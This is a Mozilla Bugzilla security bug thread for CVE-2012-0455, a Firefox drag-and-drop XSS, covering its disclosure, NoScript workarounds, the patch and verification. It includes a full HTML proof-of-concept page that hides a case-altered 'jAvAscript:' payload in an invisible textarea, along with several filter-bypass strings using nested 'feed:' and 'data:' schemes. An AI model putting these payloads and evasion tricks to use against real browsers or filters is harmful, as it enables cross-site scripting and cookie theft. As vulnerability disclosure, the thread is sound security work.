The default bug view has changed. See this FAQ.
Bug 704354 (CVE-2012-0455)

"DragAndDropJacking" (?) + javAscript: URL = XSS

VERIFIED FIXED in Firefox 11

Status

()

Firefox
Tabbed Browser
VERIFIED FIXED
5 years ago
3 years ago

People

(Reporter: Soroush Dalili, Assigned: Gavin)

Tracking

({verified1.9.2})

8 Branch
Firefox 13
verified1.9.2
Points:
---
Bug Flags:
sec-bounty +

Firefox Tracking Flags

(firefox10+ wontfix, firefox11+ verified, firefox12 verified, firefox-esr1011+ verified, blocking1.9.2 .28+, status1.9.2 .28-fixed)

Details

(Whiteboard: [sg:moderate][qa+][qa!:11][qa!:12], URL)

Attachments

(3 attachments, 3 obsolete attachments)

(Reporter)

Description

5 years ago
Created attachment 576026 [details]
A sample HTML page to exploit the vulnerability. It can go to an Iframe.

User Agent: Mozilla/5.0 (Windows NT 6.1; rv:8.0) Gecko/20100101 Firefox/8.0
Build ID: 20111104165243

Steps to reproduce:

It is possible to do Cross Domain Self XSS by using the:
1- HTML5 Drag and Drop feature that can lead to bypassing the cross domain policy.
2- Bypassing "javascript:" protocol protection by changing the characters' cases.
i.e. dragging and dropping "javascript:alert(1)" to a new tab does not work. However, dragging and dropping "jAvAscript:alert(1)" works successfully.

Now, if you can embed your malicious IFrame in another website such as Facebook, you can conduct a Cross Site Scripting against that website.

I have created a test case for you that the victim "soroush.secproject.com" can be exploited by "www.0me.me":
http://soroush.secproject.com/downloadable/demo/FF8.0.SelfXSSHost.html

I will attach both of "FF8.0.SelfXSSHost.html" and "FF8.0.SelfXSSTarget.html" to this issue as well.

I tried to create a real example to show how dangerous it can be. All the Javascripts are harmless and will only show you document.location+document.cookie.


Actual results:

It is possible to drag and drop a javascript (for example "JaVaScripT:alert(1)") to a HTML page that use HTML5 drag and drop feature to conduct XSS attack.
Now, if you put this HTML5 page in an Iframe, the malicious script can be run on the domain that include the Iframe.


Expected results:

First of all, "javascript:" protocol should be validated properly to not be run by upper-casing the characters as an example.

The script that is being dragged and dropped, should be run under the same domain (not any other domain).
(Reporter)

Comment 1

5 years ago
Created attachment 576027 [details]
A page with an Iframe to include the Target page.
(Reporter)

Updated

5 years ago
Severity: normal → major
(Reporter)

Comment 2

5 years ago
Please also let me know if it can be eligible for the bug bounty program.
(Reporter)

Comment 3

5 years ago
Comment on attachment 576026 [details]
A sample HTML page to exploit the vulnerability. It can go to an Iframe.

<html>
<head>
	<style>
		.magicselected{
		  text-decoration: none;
		  text-align: center;
		  color: red;
		  margin: 10px;
		  width: 500px;
		  border: 3px dashed #999;
		  background: #ffeedd;
		  padding: 10px;
		  display: block;
		}
		.informational {
		  text-decoration: none;
		  color: #000;
		  margin: 10px;
		  width: 500px;
		  border: 3px #999;
		  background: #eee;
		  padding: 10px;
		  display: block;
		}

		*[draggable=true] {
		  -moz-user-select:none;
		  -khtml-user-drag: element;
		  cursor: move;
		}

		*:-khtml-drag {
		  background-color: rgba(238,238,238, 0.5);
		}

		#bin {
		  background: url(http://mozcom-cdn.mozilla.net/img/covehead/firefox/main-feature-facebook.png) top right no-repeat;
		  height: 360px;
		  width: 500px;
		  float: left;
		  border: 5px dashed #000;
		  position: relative;
		  margin-top: 0;
		}

		#bin.over {
		  background: url(images/bin.jpg) top left no-repeat;
		}

		#bin p {
		  font-weight: bold;
		  text-align: center;
		  position: absolute;
		  bottom: 20px;
		  width: 166px;
		  font-size: 32px;
		  color: #fff;
		  text-shadow: #000 2px 2px 2px;
		}

	</style>
	<script>
		function disableSelection(element){
			target = document.getElementById(element);
			if (typeof target.onselectstart!="undefined") //IE route
				target.onselectstart=function(){return false}
			else if (typeof target.style.MozUserSelect!="undefined") //Firefox route
				target.style.MozUserSelect="none"
			else //All other route (ie: Opera)
				target.onmousedown=function(){return false}
			//target.style.cursor = "default"
		}

		function enableSelection(element){
			target = document.getElementById(element);
			if (typeof target.onselectstart!="undefined") //IE route
				target.onselectstart=function(){return true}
			else if (typeof target.style.MozUserSelect!="undefined") //Firefox route
				target.style.MozUserSelect=""
			else //All other route (ie: Opera)
				target.onmousedown=function(){return true}
			//target.style.cursor = "default"
		}
		function selectText(element) {
		var doc = document;
		var text = doc.getElementById(element);    
		if (doc.body.createTextRange) { // ms
			var range = doc.body.createTextRange();
			range.moveToElementText(text);
			range.select();
		} else if (window.getSelection) {
			var selection = window.getSelection();
			if (selection.setBaseAndExtent) { // webkit
				selection.setBaseAndExtent(text, 0, text, 1);
			} else { // moz, opera
				var range = doc.createRange();
				range.selectNodeContents(text);
				selection.removeAllRanges();
				selection.addRange(range);
				}
			}
		}
		
		LoadPage = function(){
			disableSelection('selectableDiv');
			disableSelection('informationalSpan');
			document.getElementById('currentURL').innerHTML = document.location;
		}
	</script>
</head>
<body onload="LoadPage()">
<pre>
Self XSS PoC on Mozilla Firefox 8.0
Author: By Soroush Dalili - SecProject.com - <a href="http://twitter.com/IRSDL">IRSDL in twitter</a> 
Details:
	1- Based on HTML5 Drag and Drop
	2- Using "jAvAscript:" instead of "javascript:" to bypass the protection
	3- Using hidden "textarea" technique to hide the malicious script during the selection
	4- Using some scripts to make it more feasible!
</pre>
This Page URL: <span id="currentURL"></span>
<hr/>
<span id="informationalSpan" class="informational" onclick="enableSelection('selectableDiv');selectText('selectableDiv');">
Select the following text and drag it to the magic box: </span>
<span class="magicselected" id="selectableDiv" onmousedown="selectText('selectableDiv');return true;" onclick="enableSelection('selectableDiv');selectText('selectableDiv');return false;disableSelection('selectableDiv');">
	<textarea style="visibility:hidden;width:1px;height:1px;" id="myinput" ondblclick="selectText('selectableDiv');return false;" onclick="selectText('selectableDiv');return false;" onmousedown="selectText('selectableDiv');return true;">jAvAscript:alert('Self XSS By Soroush Dalili - twitter.com\\IRSDL\nTop Page Location: '+document.location+'\nHost Page Cookies: '+document.cookie);//
	</textarea><b>>>>DRAG and DROP me to the blow box to see the magic!<<<</b>
</span>
<div id="bin">Magic Box</div>
 <script>
var addEvent = (function () {
  if (document.addEventListener) {
    return function (el, type, fn) {
      if (el && el.nodeName || el === window) {
        el.addEventListener(type, fn, false);
      } else if (el && el.length) {
        for (var i = 0; i < el.length; i++) {
          addEvent(el[i], type, fn);
        }
      }
    };
  } else {
    return function (el, type, fn) {
      if (el && el.nodeName || el === window) {
        el.attachEvent('on' + type, function () { return fn.call(el, window.event); });
      } else if (el && el.length) {
        for (var i = 0; i < el.length; i++) {
          addEvent(el[i], type, fn);
        }
      }
    };
  }
})();

  var mydivObj = document.createElement('mydiv');
  var msie = /*@cc_on!@*/0;
  mydivObj.style.opacity = 1;

  //var links = document.querySelectorAll('li > a'), el = null;
  //for (var i = 0; i < links.length; i++) {
    //el = links[i];
	el=document.getElementById('myinput');
    el.setAttribute('draggable', 'true');
  
    addEvent(el, 'dragstart', function (e) {
      e.dataTransfer.effectAllowed = 'copy'; // only dropEffect='copy' will be dropable
      e.dataTransfer.setData('Text', this.id); // required otherwise doesn't work
    });
  //}

 var bin = document.querySelector('#bin');

  addEvent(bin, 'dragover', function (e) {
    if (e.preventDefault) e.preventDefault(); // allows us to drop
    this.className = 'over';
    e.dataTransfer.dropEffect = 'copy';
    return false;
  });

  // to get IE to work
  addEvent(bin, 'dragenter', function (e) {
    this.className = 'over';
    return false;
  });

  addEvent(bin, 'dragleave', function () {
    this.className = '';
  });

  addEvent(bin, 'drop', function (e) {
    if (e.stopPropagation) e.stopPropagation(); // stops the browser from redirecting...why???
	document.getElementById('bin').innerHTML = 'Great! You have done that! Now please wait...'
    return false;
  });

 </script>
 
 </body>
 </html>
(Reporter)

Comment 4

5 years ago
Last comment was by mistake, I wanted to update the attachment. Please hide/remove it if it's possible.
I'm pretty sure this is a dupe of bug 605991.
(Reporter)

Comment 6

5 years ago
(In reply to Brandon Sterne (:bsterne) from comment #5)
> I'm pretty sure this is a dupe of bug 605991.
Their title are similar but their details are different:
1- there is no frame here
2- "javascript:" has been blocked by default which has been bypassed
3- I'm using one of the HTML5 examples and it wont work on the older browsers

The other bug is publicly available. if you still think they are the same, you can make this publicly available ;)
(Reporter)

Comment 7

5 years ago
I may publish this if I do not get a proper response till tomorrow night.
(Reporter)

Comment 8

5 years ago
I CCed Giorgio to see if NoScript can protect users from this attack.

Comment 9

5 years ago
Confirmed, made the summary slightly more descriptive, invited bzbarsky to the party.

@Soroush: could your POC be simplified in any way to be minimal (e.g. is @contenteditable=true on the frame really required)? Thanks.
Status: UNCONFIRMED → NEW
Ever confirmed: true
Summary: Cross Domain Self XSS Vulnerability → "DragAndDropJacking" (?) + javAscript: URL = XSS
(Reporter)

Comment 10

5 years ago
@Giorgio: your are right. It is not necessary; I c/p that Iframe from one of my other test cases to not rewrite it! we only need a Simple Iframe outside.

"Summary: Cross Domain Self XSS Vulnerability → "DragAndDropJacking" (?) + javAscript: URL = XSS"
I said it is cross domain, because the JavaScript will be executed on the top page on another domain (not the one which includes the JavaScript and you drag the text over it). However, it really depends how you will look at the issue.  

Moreover, I could hide the text that will be selected in a hidden textarea. It should not be selected but it will. Even if you copy/paste it, you can see it. I guess it is a minor issue, but it still helps a real attack.

I will attach a simplified version soon.
(Reporter)

Comment 11

5 years ago
Created attachment 577023 [details]
Simplified Version of target page
Attachment #576026 - Attachment is obsolete: true
(Reporter)

Comment 12

5 years ago
Created attachment 577024 [details]
Simplified Version of host page
Attachment #576027 - Attachment is obsolete: true
(Reporter)

Updated

5 years ago
Attachment #577023 - Attachment description: Simplified Version → Simplified Version of target page
Experimental protection in NoScript 2.2.2rc4 from http://noscript.net/getit#devel

Please notice it's a beta. 
As I told you, stable/automatic update has to wait 1 week or more for AMO approval stamp, so please keep this embargoed until then, thanks.
(Reporter)

Comment 14

5 years ago
(In reply to Giorgio Maone from comment #13)
> Experimental protection in NoScript 2.2.2rc4 from
> http://noscript.net/getit#devel
> 
> Please notice it's a beta. 
> As I told you, stable/automatic update has to wait 1 week or more for AMO
> approval stamp, so please keep this embargoed until then, thanks.

It is still possible to bypass NoScript by selecting free spaces before the "jAvAScript:".
For example in HTML we can have:
&nbsp;jAvAscript:alert(1);
Or <br/><br/>jAvAscript:alert(1);
(In reply to Soroush Dalili from comment #14)

> It is still possible to bypass NoScript by selecting free spaces before the
> "jAvAScript:".
> For example in HTML we can have:
> &nbsp;jAvAscript:alert(1);
> Or <br/><br/>jAvAscript:alert(1);

Please check 2.2.2rc5 from http://noscript.net/getit#devel

BTW, did you check if your trick works with dataTransfer types other than "Text"?
(Reporter)

Comment 16

5 years ago
(In reply to Giorgio Maone from comment #15)
> Please check 2.2.2rc5 from http://noscript.net/getit#devel
> 
I still can bypass it by using the following vector: 

feed:jAvAscript:alert(1)

Actually "javascript:" protection of NoScript can be bypassed by using this vector generally via copy/paste as well.

> BTW, did you check if your trick works with dataTransfer types other than
> "Text"?

I am not sure about this. Could you please explain what do you mean? I think my PoC is based on a text.
(Reporter)

Comment 17

5 years ago
more vector(s):
"feed:feed:feed:javAscript:alert(1)"
"feed:javAscript:javAscript:feed:alert(1)"
"feed:feed:javAscript:javAscript:feed:alert(1)"
"   feed:feed:feed:javAscript:alert(1)"
"
    	
feed:feed:feed:javAscript:alert(1)"
(In reply to Soroush Dalili from comment #16)

Ouch, this feed: scheme is really a pain. Fortunately the fix is pretty trivial, but I wonder how many traps like that lie around.

> Actually "javascript:" protection of NoScript can be bypassed by using this
> vector generally via copy/paste as well.

could you elaborate w/ more details? I'm not sure about what kind of protection NoScript is supposed to provide against "javascript:" copy & paste.
 
> > BTW, did you check if your trick works with dataTransfer types other than
> > "Text"?
> 
> I am not sure about this. Could you please explain what do you mean? I think
> my PoC is based on a text.

I mean, does it work for instance with type="text/html"?
Please check NoScript 2.2.3rc3 from http://noscript.net/getit#devel
(Reporter)

Comment 20

5 years ago
(In reply to Giorgio Maone from comment #18)

> Ouch, this feed: scheme is really a pain. Fortunately the fix is pretty
> trivial, but I wonder how many traps like that lie around.

I searched a little but at the end I think it is up to Mozilla to tell us about all the protocols that they use. I could not find anything interesting.

> could you elaborate w/ more details? I'm not sure about what kind of
> protection NoScript is supposed to provide against "javascript:" copy &
> paste.

I mean if someone copy/paste "feed:javascript:" into the Address Bar and hit enter, NoScript does not block it similar to "javascript:". It is also true for "feed:data:text/html,<script>alert('test3')</script><b>xx" as well.

> I mean, does it work for instance with type="text/html"?
I do not think it is going to work if I do not use "data" protocol. How can I try it without "data" protocol? I know there is a type attribute for "dataTransfer" but I am not sure how to try it for this purpose.

----
I am still wondering why there is not any official response from Mozilla that they have accepted the issue. As a result, I have to publish all of these as soon as NoScript can provide enough security.
(In reply to Soroush Dalili from comment #20)

> I mean if someone copy/paste "feed:javascript:" into the Address Bar and hit
> enter, NoScript does not block it similar to "javascript:". It is also true
> for "feed:data:text/html,<script>alert('test3')</script><b>xx" as well.

While the data: URI works (albeit tied to an unique origin, hence practically innocuous), I did not manage to make feed:javascript: execute, at least on Fx 8.
 
> > I mean, does it work for instance with type="text/html"?
> I do not think it is going to work if I do not use "data" protocol. How can
> I try it without "data" protocol?

It's not important anymore, as the latest version of my work-around is triggered by the attempted load, rather than by the drop event, hence it always see pre-processed URIs independently from the transfer details.


> I am still wondering why there is not any official response from Mozilla

CCing dveditz who may give you an answer.

> As a result, I have to publish all of
> these as soon as NoScript can provide enough security.

Do you think NoScript 2.2.3rc4 is good enough? 
If so, I'm gonna submit it to AMO as 2.2.3 stable and ask for fast-track approval.
(Reporter)

Comment 22

5 years ago
(In reply to Giorgio Maone from comment #21)
Awesome. Good job Giorgio.

> Do you think NoScript 2.2.3rc4 is good enough? 
> If so, I'm gonna submit it to AMO as 2.2.3 stable and ask for fast-track
> approval.
I am still not able to bypass it with my current testcases. I will ask Mario and Gareth to have a quick think about it.

Comment 23

5 years ago
Seems like this attack will work only on website that allows posting Iframes in it (e.g. Facebook).
(Reporter)

Comment 24

5 years ago
(In reply to Shlomi Narkolayev from comment #23)
> Seems like this attack will work only on website that allows posting Iframes
> in it (e.g. Facebook).

You are right about the PoC and what I can currently do with it. However, it contains several issues which can lead to other exploits. (For instance, if you manage to drag/drop a Javascript into Chrome:// protocol, you can execute commands on the system)

Comment 25

5 years ago
Sounds interesting.
Who will be the "host" in this case? Can you write a PoC?
(Reporter)

Comment 26

5 years ago
(In reply to Giorgio Maone from comment #21)
> Do you think NoScript 2.2.3rc4 is good enough? 
> If so, I'm gonna submit it to AMO as 2.2.3 stable and ask for fast-track
> approval.

I asked Mario and Gareth and they said it seems fine. Gareth was worry about the new entities such as "javascript&colon0x00;alert(1) // 0x00 == null obviously".; I could not bypass the protection by using this however. 
I think we can go for the stable version then.
Thanks again for providing security to Firefox. I'll publish it after you release the stable version.
(In reply to Soroush Dalili from comment #26)
> (In reply to Giorgio Maone from comment #21)
> > Do you think NoScript 2.2.3rc4 is good enough? 
> > If so, I'm gonna submit it to AMO as 2.2.3 stable and ask for fast-track
> > approval.
> 
> I asked Mario and Gareth and they said it seems fine.

Great, the update is out. Just please wait a couple of days, because AMO is suffering network outages which are slowing down the automatic deployment process. 

> Gareth was worry about
> the new entities such as "javascript&colon0x00;alert(1) // 0x00 == null
> obviously".;

As I said this fix operates on preprocessed URLs, hence it's not affected by HTML-level obfuscation.

The only component (unrelated to this bug) which might be affected is the XSS filter, but as far as I can tell that's covered by using Gecko's own parser to decode entities. Gareth, can you confirm that?
A fix isn't going to make Firefox 9 (already at final preview builds on the Beta channel), try for Fx10.
status-firefox10: --- → affected
status-firefox11: --- → affected
status-firefox8: --- → wontfix
status-firefox9: --- → wontfix
tracking-firefox10: --- → +
tracking-firefox11: --- → +
Component: General → Drag and Drop
Product: Firefox → Core
QA Contact: general → drag-drop
Whiteboard: [sg:moderate]

Comment 29

5 years ago
> The only component (unrelated to this bug) which might be affected is the
> XSS filter, but as far as I can tell that's covered by using Gecko's own
> parser to decode entities. Gareth, can you confirm that?

The filter seems good although I've not done extensive testing. I think you probably fixed this with mario's entity vectors.
(In reply to Gareth Heyes from comment #29)
> > The only component (unrelated to this bug) which might be affected is the
> > XSS filter, but as far as I can tell that's covered by using Gecko's own
> > parser to decode entities. Gareth, can you confirm that?
> 
> The filter seems good although I've not done extensive testing. I think you
> probably fixed this with mario's entity vectors.

.mario's fix was about recursion order in general decoding, not an entity specific one. As I said, I use Gecko's parser for that so if it's an entity for Gecko, it's an entity for NoScript as well (I didn't add any new entity decoding code).

Comment 31

5 years ago
> .mario's fix was about recursion order in general decoding, not an entity
> specific one. As I said, I use Gecko's parser for that so if it's an entity
> for Gecko, it's an entity for NoScript as well (I didn't add any new entity
> decoding code).

Ah ok well it seems good anyway, probably because you are using Gecko's parser, it understands the crazy stuff. I tried stuff like %26%23106%00avascript%26%00colon;location%26%00equals;top.name but it seemed good.
(Reporter)

Comment 32

5 years ago
Thanks guys, I have published the details:
http://soroush.secproject.com/downloadable/demo/FF_DragDrop_XSSHost_simp.html

I am not sure if Mozilla wants to fix or not.
(Reporter)

Updated

5 years ago
Severity: major → normal
(Reporter)

Comment 33

5 years ago
Another clarification:

Description:
 It is possible to bypass Mozilla Firefox (tested on version 8.x and 9.x) – Javascript Drag and Drop by using capitalization and Feed protocol, and run that JavaScript on the top page if you can include that malicious page in an IFrame. The "event.preventDefault()" method in "ondragover" event of the element is to block the natural function of the browser. Usually the malicious iframe should deceive the user to drag and drop a JS to the drop box which can be stealth in a hidden textarea.It is possible to bypass Mozilla Firefox (tested on version 8.x and 9.x) – Javascript Drag and Drop by using capitalization and Feed protocol, and to run that JavaScript on the top page if you can include the malicious page in an IFrame. The "event.preventDefault()" method in "ondragover" event of the element is to block the natural function of the browser. Usually the malicious IFrame should deceive the user to drag and drop a JS to the drop box which can be concealed in a hidden "Textarea" element.
 
 IFrame Code:

	<b>drag and drop one of the following strings to the drop box:</b>
	<br/><hr/>
	jAvascript:alert('Top Page Location: '+document.location+'\nHost Page Cookies: '+document.cookie);//
	<br/><hr/>
	feed:javascript:alert('Top Page Location: '+document.location+'\nHost Page Cookies: '+document.cookie);//
	<br/><hr/>
	feed:data:text/html,&#x3c;script>alert('Top Page Location: '+document.location+'\nHost Page Cookies: '+document.cookie)&#x3c;/script>&#x3c;b>
	<br/><hr/>
	feed:feed:javAscript:javAscript:feed:alert('Top Page Location: '+document.location+'\nHost Page Cookies: '+document.cookie);//
	<br/><hr/>
	<div id="dropbox" style="height: 360px;width: 500px;border: 5px solid #000;position: relative;" ondragover="event.preventDefault()">+ Drop Box +</div>
Sending over to Dan to evaluate if this is still something we should try to get for Firefox 10. If so, I'd ask roc to find somebody to take a look (he's now CC'd).
Assignee: nobody → dveditz

Comment 35

5 years ago
Should this bug report be public, given that (some?) details are public?

http://soroush.secproject.com/blog/2011/12/drag-and-drop-xss-in-firefox-by-html5-cross-domain-in-frames/

https://secunia.com/advisories/47400/
The blog is probably a better URL
Is this the likely source of the problem?

http://hg.mozilla.org/mozilla-central/annotate/8a59519e137e/toolkit/content/widgets/browser.xml#l1307
Same problem at
http://hg.mozilla.org/mozilla-central/annotate/8a59519e137e/browser/base/content/tabbrowser.xml#l3537
NB: the naive fix of adding the 'i' flag thus
      /^\s*(javascript|data):/i.test(url))

is wrong, won't address the nested case (e.g. the feed:javascript examples) nor any future/add-on schemes. CheckLoadURI with the DISALLOW_INHERIT_PRINCIPAL flag is more what we want here (as used in the text.xml widget).
Firefox 3.6 is not affected by the PoC, but generically the protection of tabs/windows as drop targets for javascript: text links can be bypassed using the same capitalization trick.
Assignee: dveditz → nobody
blocking1.9.2: --- → ?
status1.9.2: --- → wanted
Component: Drag and Drop → Tabbed Browser
Product: Core → Firefox
QA Contact: drag-drop → tabbed.browser
Assignee: nobody → gavin.sharp
Depends on: 718203
Depends on: 724161
No longer depends on: 718203
The patch I just attached to bug 724161 fixes this, and includes tests.
blocking1.9.2: ? → needed
https://hg.mozilla.org/integration/mozilla-inbound/rev/50aae34555bb
OS: Windows 7 → All
Hardware: x86 → All
Target Milestone: --- → Firefox 13
status-firefox-esr10: --- → affected
status-firefox10: affected → wontfix
status-firefox12: --- → affected
status-firefox13: --- → affected
tracking-firefox-esr10: --- → ?
https://hg.mozilla.org/releases/mozilla-beta/rev/dbbd683b1c87
https://hg.mozilla.org/releases/mozilla-aurora/rev/b740b9528028
status-firefox11: affected → fixed
status-firefox12: affected → fixed
status-firefox13: affected → ---
status-firefox8: wontfix → ---
status-firefox9: wontfix → ---
https://hg.mozilla.org/mozilla-central/rev/50aae34555bb
Status: NEW → RESOLVED
Last Resolved: 5 years ago
Resolution: --- → FIXED
Whiteboard: [sg:moderate] → [sg:moderate][qa+]
Tracking here for the ESR - we'll want to land the patches in bug 718203 and bug 724161 on mozilla-esr10.
tracking-firefox-esr10: ? → 11+
[Triage comment]

This bug is being tracked for landing on ESR branch.  Please land patches on http://hg.mozilla.org/releases/mozilla-esr10/by Thursday March 1, 2012 in order to be ready for go-to-build on Friday March 2, 2012.

See https://wiki.mozilla.org/Release_Management/ESR_Landing_Process for more information.
Verified on XP using latest Fx11b4(beta), Fx12(aurora), Fx13(nightly) using steps in comment #0. Prior to the fix you can see a dialog come up, as explained in comment #0. In fixed builds nothing happens.
status-firefox11: fixed → verified
status-firefox12: fixed → verified
Whiteboard: [sg:moderate][qa+] → [sg:moderate][qa+][qa!:11][qa!:12]
https://hg.mozilla.org/releases/mozilla-esr10/rev/566be745f397
status-firefox-esr10: affected → fixed
Since this landed in Fx11 we should also land a fix in 3.6.28

What's the likelihood of the patch in comment 49 applying?
blocking1.9.2: needed → .28+
It really doesn't (depends on bug 545714, which landed post-1.9.2).

I can work on an alternate fix, I guess... :(
Does this actually affect 1.9.2? The simplified testcase (the two files) doesn't seem to work on XP SP3 with 1.9.2.27.
Created attachment 602795 [details] [diff] [review]
1.9.2 patch for this bug only

We can't re-use the fix from bug 724161/bug 718203 on 1.9.2 because the code is quite different. The code still looks vulnerable, though.

Here's an alternate fix that's a little bit more isolated. nsContentAreaDragDrop is used for <browser> drops on 1.9.2, and it seems to be the only relevant use (aside from a caller in nsDocShellTreeOwner that relies on having an nsWebBrowser, which I think never happens in Firefox), so the behavior change of disallow javascript:/data: drops should be fine. For <tabbrowser>, I just fixed the regex check, because introducing a more robust nsIURI check doesn't seem worth it.

I could not get the tests to work on 1.9.2. The browser_tabDrop test fails because the drag-synthesize code on 1.9.2 doesn't properly create a drag session. The browser_browserDrop test is much more complicated to write because there is no easy droppedLinkHandler to hook into - we'd need to explicitly check page loads triggered by nsContentAreaDragDrop.
I get the alert dialog appearing on the latest debug build of Firefox 10 ESR (2012-03-03). Comment 49 suggests this should be fixed. 

All I'm doing is following the testcase in comment 0. Is this not fixed?
Using the Mac build from http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/latest-mozilla-esr10/ , I don't get an alert when loading http://soroush.secproject.com/downloadable/demo/FF8.0.SelfXSSHost.html and following the steps (drag text from the red box to the frame below). Which build are you testing exactly, on what platform?
(In reply to Gavin Sharp (use gavin@gavinsharp.com for email) from comment #55)
> Using the Mac build from
> http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/latest-mozilla-esr10/
> , I don't get an alert when loading
> http://soroush.secproject.com/downloadable/demo/FF8.0.SelfXSSHost.html and
> following the steps (drag text from the red box to the frame below). Which
> build are you testing exactly, on what platform?

I was using the debug build from:
ftp://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/2012-03-03-mozilla-esr10-debug

I confirm that using the release candidate does not display the alert. I guess I can call this verified based on that.
status-firefox-esr10: fixed → verified
Created attachment 603081 [details] [diff] [review]
simpler 1.9.2-only patch

OK, this is a simpler patch that only touches the code that was original affected. Just makes the existing checks for javascript/data case-insensitive. There are a couple of followups that I'll file, but they apply to trunk equally:
- dragging from chrome text boxes isn't block, because of a checkLoadURI quirk (DISALLOW_INHERIT_PRINCIPAL doesn't kick in when the source principal is the system principal)
- the embedding code (not used in Firefox) is still vulnerable - it would be good to fix this just to be safe (I don't think anyone is using it)
Attachment #602795 - Attachment is obsolete: true
Attachment #603081 - Flags: review?(dolske)
STR that this patch fixes:
Case A:
1) Load data:text/plain,jAvAscript:alert(1)
2) Drag the text in the content area ("jAvAscript:alert(1)") to the current tab

Expected: no dialog appears
Actual: dialog appears showing "1"

Case B:
1) Enter "jAvascript:alert(1)" into the search bar
2) Drag the text from the search bar into the content area of the current tab

Expected: no dialog appears
Actual: dialog appears showing "1"

I'm not certain why the original test case doesn't work on 1.9.2.
Attachment #603081 - Flags: review?(dolske) → review+
Attachment #603081 - Flags: approval1.9.2.28?
Attachment #603081 - Flags: approval1.9.2.28? → approval1.9.2.28+
https://hg.mozilla.org/releases/mozilla-1.9.2/rev/f66f339fd046
status1.9.2: wanted → .28-fixed
Verified fixed in Firefox 3.6.28build1.
Keywords: verified1.9.2
Alias: CVE-2012-0455
Verified that this was fixed in trunk since no one else did.

Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:14.0) Gecko/20120402 Firefox/14.0a1
Status: RESOLVED → VERIFIED
Group: core-security
rforbes-bugspam-for-setting-that-bounty-flag-20130719
Flags: sec-bounty+
You need to log in before you can comment on or make changes to this bug.